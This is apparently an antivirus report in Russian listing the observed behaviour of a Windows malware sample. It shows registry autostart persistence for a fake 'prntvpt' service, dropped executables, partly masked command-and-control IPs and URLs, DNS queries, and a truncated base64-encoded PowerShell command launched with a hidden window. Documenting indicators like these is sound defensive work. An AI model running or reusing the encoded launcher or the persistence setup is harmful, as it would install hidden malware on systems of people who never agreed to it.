Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\prntvpt] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\prntvpt] 'ImagePath' = '"%WINDIR%\SysWOW64\NlsData081a\prntvpt.exe"'
- 'prntvpt' "%WINDIR%\SysWOW64\NlsData081a\prntvpt.exe"
- 'prntvpt' %WINDIR%\SysWOW64\NlsData081a\prntvpt.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABBAHEAMwBxAGkAOABqAD0AKAAnAE4AJwArACgAJwBlACcAKwAnAHgAaABoACcAKQArACcAbQA1ACcAKQA7ACYAKAAnAG4AZQAnACsAJwB3AC0AaQB0AGUAJwArACcAbQAnACkAIAAkAEUAbgBWADoAVQBzAGUAUgBwAHIAbw...
- %HOMEPATH%\zqx41rp\onfoga8\e0jnwy3.exe
- %WINDIR%\syswow64\nlsdata081a\prntvpt.exe
- %HOMEPATH%\zqx41rp\onfoga8\e0jnwy3.exe в %WINDIR%\syswow64\nlsdata081a\prntvpt.exe
- '10#.#93.103.61':80
- '10#.#31.123.136':443
- http://ha###motors.com/nbqso/8Tz/
- http://10#.##1.123.136:443/xf8w9LuLC/hWDdVvfwPu60KnFpC/t2gc658nEbpirVr/MxiCzd5/ via 10#.#31.123.136
- DNS ASK sh##.#tcss.co.uk
- DNS ASK ha###inger.com
- DNS ASK ha###motors.com
- '%HOMEPATH%\zqx41rp\onfoga8\e0jnwy3.exe'
- '%WINDIR%\syswow64\nlsdata081a\prntvpt.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABBAHEAMwBxAGkAOABqAD0AKAAnAE4AJwArACgAJwBlACcAKwAnAHgAaABoACcAKQArACcAbQA1ACcAKQA7ACYAKAAnAG4AZQAnACsAJwB3AC0AaQB0AGUAJwArACcAbQAnACkAIAAkAEUAbgBWADoAVQBzAGUAUgBwAHIAbw...' (со скрытым окном)